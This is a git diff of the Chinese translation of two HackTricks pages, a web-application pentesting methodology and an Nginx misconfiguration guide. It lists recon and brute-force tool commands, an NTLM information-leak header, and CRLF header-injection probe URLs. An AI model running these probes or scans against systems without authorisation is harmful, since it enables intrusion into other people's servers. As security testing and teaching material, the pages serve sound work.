* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -67,7 +67,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
### Identify
|
||||
|
||||
检查正在运行的服务器**版本**是否存在**已知漏洞**。\
|
||||
检查正在运行的服务器**版本**是否有**已知漏洞**。\
|
||||
**HTTP响应的头部和cookie**可能非常有用,以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本,但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
|
@ -75,7 +75,7 @@ whatweb -a 3 <URL> #Aggresive
|
|||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
Search **for** [**web应用程序版本的漏洞**](../../generic-methodologies-and-resources/search-exploits.md)
|
||||
|
||||
### **检查是否有WAF**
|
||||
|
||||
|
@ -85,7 +85,7 @@ Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-
|
|||
|
||||
### Web技术技巧
|
||||
|
||||
一些**技巧**用于**查找不同知名技术**中的**漏洞**:
|
||||
一些**技巧**用于**查找**不同知名**技术**中的**漏洞**:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -119,16 +119,16 @@ Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS到RCE)**](electron-desktop-apps/)
|
||||
|
||||
_请注意,**同一域名**可能在不同的**端口**、**文件夹**和**子域名**中使用**不同的技术**。_\
|
||||
如果web应用程序使用任何知名的**技术/平台**或**其他任何技术**,请不要忘记**在互联网上搜索**新的技巧(并告诉我!)。
|
||||
_请注意,**同一域**可能在不同的**端口**、**文件夹**和**子域**中使用**不同技术**。_\
|
||||
如果web应用程序使用任何知名的**技术/平台**或**其他**,请不要忘记**在互联网上搜索**新技巧(并告诉我!)。
|
||||
|
||||
### 源代码审查
|
||||
|
||||
如果应用程序的**源代码**在**github**上可用,除了进行**自己的白盒测试**外,还有**一些信息**可能对当前的**黑盒测试**是**有用的**:
|
||||
如果应用程序的**源代码**在**github**上可用,除了进行**自己的白盒测试**外,还有**一些信息**可能对当前的**黑盒测试**有**用**:
|
||||
|
||||
* 是否有**变更日志或自述文件或版本**文件或任何带有**版本信息的可通过网络访问的内容?
|
||||
* **凭据**是如何保存的?是否有任何(可访问的?)**文件**包含凭据(用户名或密码)?
|
||||
* **密码**是以**明文**、**加密**还是使用了哪种**哈希算法**?
|
||||
* **密码**是**明文**、**加密**还是使用了哪种**哈希算法**?
|
||||
* 是否使用任何**主密钥**来加密某些内容?使用了哪种**算法**?
|
||||
* 你能否通过利用某个漏洞**访问这些文件**?
|
||||
* 在github中是否有任何**有趣的信息**(已解决和未解决的)**问题**?或者在**提交历史**中(也许某个**密码在旧提交中引入**)?
|
||||
|
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMS 扫描器
|
||||
|
||||
如果使用了 CMS,别忘了 **运行扫描器**,也许会发现一些有价值的信息:
|
||||
如果使用了 CMS,不要忘记 **运行扫描器**,也许会发现一些有价值的信息:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
|
||||
|
@ -166,11 +166,11 @@ wpscan --force update -e --url <URL>
|
|||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> 在这一点上,您应该已经获得了一些关于客户使用的网络服务器的信息(如果提供了任何数据)以及在测试期间需要记住的一些技巧。如果您运气好,您甚至找到了一个CMS并运行了一些扫描器。
|
||||
> 在这一点上,您应该已经获得了一些关于客户端使用的网络服务器的信息(如果提供了任何数据)以及在测试期间需要记住的一些技巧。如果您运气好,您甚至找到了一个CMS并运行了一些扫描器。
|
||||
|
||||
## 逐步网络应用发现
|
||||
## 逐步Web应用程序发现
|
||||
|
||||
> 从这一点开始,我们将开始与网络应用程序进行交互。
|
||||
> 从这一点开始,我们将开始与Web应用程序进行交互。
|
||||
|
||||
### 初始检查
|
||||
|
||||
|
@ -197,7 +197,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
|
||||
|
||||
* **暴力破解**凭据
|
||||
* 通过WebDav将**文件上传**到网页中**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
|
||||
* 通过WebDav向**网页内找到的其他文件夹**上传文件。您可能有权限在其他文件夹中上传文件。
|
||||
|
||||
### **SSL/TLS漏洞**
|
||||
|
||||
|
@ -220,10 +220,10 @@ sslyze --regular <ip:port>
|
|||
|
||||
### 爬虫
|
||||
|
||||
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部来源来找到尽可能多的有效路径。
|
||||
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部资源来找到尽可能多的有效路径。
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫,JS文件中的LinkFinder和外部来源(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)。
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫,带有JS文件的LinkFinder和Archive.org作为外部来源。
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫,JS文件中的LinkFinder和外部资源(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)。
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫,带有JS文件的LinkFinder和Archive.org作为外部资源。
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫,也指示“美味文件”。
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫,但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件,meg将获取每个主机上的每个路径并保存响应。
|
||||
|
@ -237,7 +237,7 @@ sslyze --regular <ip:port>
|
|||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件(HTML),它将使用巧妙的正则表达式从丑陋(压缩)文件中提取相对URL。
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面所需的所有URL。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了之前工具的多个选项。
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展,用于查找JS文件中的路径和参数。
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具,给定.js.map URL将获取美化的JS代码。
|
||||
|
@ -252,17 +252,17 @@ sslyze --regular <ip:port>
|
|||
|
||||
### 暴力破解目录和文件
|
||||
|
||||
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**发现的所有目录(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
|
||||
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
|
||||
工具:
|
||||
|
||||
* **Dirb** / **Dirbuster** - 包含在Kali中,**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
|
||||
* **Dirb** / **Dirbuster** - 包含在Kali中,**旧**(且**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自动签名证书,但**允许递归搜索。
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书,但**没有** **递归**搜索。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫,而是一个工具,给定找到的URL列表将删除“重复”的URL。
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,从不同页面的burp历史记录中创建目录列表。
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展,从不同页面的burp历史中创建目录列表。
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL(基于js导入)。
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
|
||||
|
||||
|
@ -289,36 +289,36 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
|||
|
||||
### 检查每个找到的文件
|
||||
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断开链接,这些链接可能容易被接管。
|
||||
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断链,可能容易被接管。
|
||||
* **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。备份命名的常见变体有:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
* **发现新参数**: 您可以使用像[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
|
||||
* **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行网页文件中搜索**隐藏参数。
|
||||
* _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
|
||||
* 如果您正在进行**CTF**,一个“常见”技巧是**隐藏****信息**在页面的**右侧**的评论中(使用**数百个**空格,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
|
||||
* 如果您在进行**CTF**,一个“常见”技巧是在**页面**的**右侧**(使用**数百个**空格,以便在浏览器中打开源代码时看不到数据)**隐藏** **信息**。另一种可能性是在网页底部使用**多个新行**并在评论中**隐藏信息**。
|
||||
* **API密钥**: 如果您**找到任何API密钥**,有指南指示如何使用不同平台的API密钥:[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik的API密钥,您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
|
||||
* Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik的API密钥,您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)检查该密钥可以访问哪些API。
|
||||
* **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/)。
|
||||
|
||||
### 特殊发现
|
||||
|
||||
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣**的**事物**,您需要**注意**。
|
||||
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣的** **事物**,您需要**注意**。
|
||||
|
||||
**有趣的文件**
|
||||
|
||||
* 查找**CSS**文件中指向其他文件的**链接**。
|
||||
* [如果您找到一个_**.git**_文件,可以提取一些信息](git.md)
|
||||
* 如果您找到一个_**.env**_,可以找到诸如API密钥、数据库密码和其他信息。
|
||||
* 如果您找到一个_**.env**_文件,可以找到API密钥、数据库密码和其他信息。
|
||||
* 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。
|
||||
* **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外,监控每个找到的JS文件也很有趣,因为在某些情况下,变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件,以查找是否存在漏洞。
|
||||
* **JavaScript去混淆和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck去混淆** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件,以查看它是否存在漏洞。
|
||||
* **Javascript反混淆器和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Javascript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **JsFuck反混淆** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* 在多个场合,您需要**理解使用的正则表达式**,这将很有用:[https://regex101.com/](https://regex101.com)
|
||||
* 在多个场合,您需要**理解使用的正则表达式**,这将很有用: [https://regex101.com/](https://regex101.com)
|
||||
* 您还可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明潜在的新漏洞功能。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (绕过)**
|
||||
|
@ -334,22 +334,22 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
|||
**NTLM认证 - 信息泄露**
|
||||
|
||||
如果运行的服务器要求身份验证是**Windows**或您发现一个登录要求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
|
||||
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将通过“WWW-Authenticate”头响应内部信息(IIS版本、Windows版本...)。\
|
||||
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将响应内部信息(IIS版本,Windows版本...)在头部"WWW-Authenticate"中。\
|
||||
您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
|
||||
|
||||
**HTTP重定向(CTF)**
|
||||
|
||||
可以在**重定向**中**放置内容**。这些内容**不会显示给用户**(因为浏览器将执行重定向),但其中可能**隐藏**某些内容。
|
||||
|
||||
### Web漏洞检查
|
||||
### 网络漏洞检查
|
||||
|
||||
现在已经对Web应用程序进行了全面的枚举,是时候检查许多可能的漏洞。您可以在这里找到检查清单:
|
||||
现在已经对网络应用程序进行了全面的枚举,是时候检查许多可能的漏洞。您可以在这里找到检查清单:
|
||||
|
||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
有关Web漏洞的更多信息,请访问:
|
||||
有关网络漏洞的更多信息,请访问:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -357,13 +357,13 @@ _注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力
|
|||
|
||||
### 监控页面变化
|
||||
|
||||
您可以使用工具,例如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
|
||||
您可以使用工具如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看您的Web应用程序、网络和云
|
||||
**从黑客的角度看待您的网络应用程序、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键、可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -447,7 +447,7 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Nginx
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,22 +10,22 @@
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 从黑客的角度看待您的网络应用、网络和云
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 缺失的根位置 <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## 缺失的根目录 <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
在配置 Nginx 服务器时,**root 指令**通过定义文件提供的基础目录发挥着关键作用。考虑以下示例:
|
||||
在配置 Nginx 服务器时,**root 指令**通过定义文件提供的基本目录发挥着关键作用。考虑以下示例:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -85,7 +85,7 @@ deny all;
|
|||
## 不安全的变量使用 / HTTP 请求拆分 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
易受攻击的变量 `$uri` 和 `$document_uri`,可以通过用 `$request_uri` 替换它们来修复。
|
||||
易受攻击的变量 `$uri` 和 `$document_uri`,可以通过将它们替换为 `$request_uri` 来修复。
|
||||
|
||||
正则表达式也可能存在漏洞,例如:
|
||||
|
||||
|
@ -102,7 +102,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
在HTTP请求中,字符\r(回车)和\n(换行)表示新行字符,它们的URL编码形式表示为`%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器会导致服务器发出一个名为`Detectify`的新头。这是因为$uri变量解码了URL编码的新行字符,从而导致响应中出现意外的头:
|
||||
在HTTP请求中,字符\r(回车)和\n(换行)表示新行字符,它们的URL编码形式表示为`%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器,会导致服务器发出一个名为`Detectify`的新头。这是因为$uri变量解码了URL编码的新行字符,从而导致响应中出现意外的头:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -114,7 +114,7 @@ Detectify: clrf
|
|||
```
|
||||
了解有关 CRLF 注入和响应拆分风险的更多信息,请访问 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)。
|
||||
|
||||
此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) 了,其中包含一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测此错误配置,您可以使用以下请求:
|
||||
此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) ,其中包含一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测此错误配置,您可以使用以下请求:
|
||||
|
||||
* `https://example.com/%20X` - 任何 HTTP 代码
|
||||
* `https://example.com/%20H` - 400 错误请求
|
||||
|
@ -126,7 +126,7 @@ Detectify: clrf
|
|||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任何 HTTP 代码
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 错误请求
|
||||
|
||||
在该演讲中发现的一些易受攻击的配置包括:
|
||||
在该演讲中发现的一些易受攻击的配置是:
|
||||
|
||||
* 注意 **`$uri`** 在最终 URL 中是如何设置的
|
||||
```
|
||||
|
@ -148,17 +148,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊,但并不罕见,也不容易验证。这个异常在HackerOne的安全报告中得到了强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生,确定服务器端包含(SSI)是根本原因。
|
||||
发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊,但并不罕见,也不容易验证。这个异常在HackerOne的安全报告中被强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生,确定服务器端包含(SSI)是根本原因。
|
||||
|
||||
要**检测此错误配置**,可以执行以下命令,该命令涉及设置引用头以测试变量打印:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
